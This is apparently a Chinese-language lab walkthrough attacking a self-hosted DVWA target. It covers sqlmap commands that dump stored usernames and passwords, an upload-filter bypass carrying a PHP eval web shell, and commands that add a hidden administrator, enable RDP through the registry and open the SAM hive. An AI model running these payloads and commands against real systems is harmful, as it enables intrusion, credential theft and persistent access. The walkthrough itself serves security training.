Web安全 SQL注入 || 文件上传 的漏洞.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。
靶场:
本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.0.104)
DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客
1. 找到注入点并进行 sql 注入攻击(测试是 利用DVWA的SQL注入来测试),获取数据库中的管理员账号和密码.
第一步:命令.
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dbs
【--batch 】:默认sqlmap工具提出的(是否)为:y 【--dbs】:显示站点所有数据库
![](https://i-blog.csdnimg.cn/blog_migrate/9ce5f113dcd0d46d93adc123355d0c75.png)
这里可以看到多个sql 注入漏洞,也可以看到有多个数据库
![](https://i-blog.csdnimg.cn/blog_migrate/07a2ee9a202be82015ab1a7dc1e97117.png)
第二步:命令:
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --tables -D "dvwa"
【--tables -D "dvwa"】:把dvwa数据库中的所有的表显示出来.
可以看到dvwa数据库有二个表:guestbook | users
第三步:命令:
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --columns -T 'users'
【-columns -T 'users'】:把users表中的所有列显示出来.
可以看到users表中的所有列.
第四步: 命令:
sqlmap -u "http://192.168.0.104:801/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e2ciqa7qbuakqbt77t8l6a8mi5" --batch --dump -C "user,password"
【--dump -C "user,password"】:把user 和 password 列的中的内容显示出来.
可以看到所有账号和密码,这样就可以去登录了.
2. 尝试找到网站的后台并进行登录.
网站后台扫描工具:dirb
dirb http://192.168.0.104:801/
![](https://i-blog.csdnimg.cn/blog_migrate/2b5bc88b058f2a62b0424d1dc865ae2d.png)
3. 寻找后台存在漏洞的上传点,编写一句话木马并绕过上传,利用一句话木马查看上传文件(测试是 利用DVWA的上传漏洞来测试).
第一步:准备一个<一句话木马>,bgxg是菜刀的连接密码.
<?php
@eval($_POST["bgxg"])
?>
第二步:把写好的 <一句话木马> 上传到服务器后台.
中途可能有一些限制,所有这里可以用Burp来抓包,绕过比较简单的一些限制.
(1)绕过 文件类型 方式:把php的文件类型:application/x-php 改为图形类型:image/jpeg
(2)绕过 文件后缀名 方式:在文件命名的时候 .php 的后面加 .png 或 .jpeg
比如:bgxg.php.png 然后再把 .ing 删除就行.
![](https://i-blog.csdnimg.cn/blog_migrate/10cec530135dbf355d0ea5afe4f1afdf.png)
第三步:然后去浏览 bgxg.php 的链接看看是否存在.
第四步:打开菜刀工具,右键点击,选择添加 把上传的php文件的位置链接写上去,后面的是一句话木马的连接密码.
第五步:点击添加. (到这你就可以随意下载和上传文件了,也可以虚拟终端.)
![](https://i-blog.csdnimg.cn/blog_migrate/a20fd7dfed7b5e663ca05e2f1f0a9a49.png)
4. 利用一句话木马进入服务器后,尝试找到藏在管理员用户开机自启文件夹中的 flag 文件(测试是 利用DVWA的上传漏洞来测试).
Win XP的管理员用户开机自启文件在:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\
![](https://i-blog.csdnimg.cn/blog_migrate/e49c47750f078ed400439690984a6f92.png)
5. 该服务器上存在一隐藏用户,尝试从注册表中找到这个隐藏用户.
第一步:在菜刀里打开虚拟终端,添加管理员账号
(1)添加新的用户: net user 用户名 密码 /add
(2)权限提升为管理员: net localgroup Administrators 用户名 /add
(3)查看用户名信息: net user 新增的用户名
![](https://i-blog.csdnimg.cn/blog_migrate/2f9f9d7b5e2df09bb4aca1db0a9738e2.png)
第二步:查看有没有开启3389端口:
(1)查看所有开启的端口:netstat -ano
(2) 开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
第三步:远程连接:
用渗透机(kali):sudo xfreerdp /u:bgxg /p:bgxg /v:192.168.0.104
(sudo xfreerdp /u:用户名 /p:密码 /v:要连接的IP地址)
连接成功:
第四步:
(1)按"win+R" 执行 regedit 命令 进注册表
(2)在 HKEY_LOCAL_MACHINE下的SAM 然后administrator的用户给予:完全控制以及读取的权限,在后面打勾,然后关闭注册表。
(3)再次打开注册表,查看目录:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names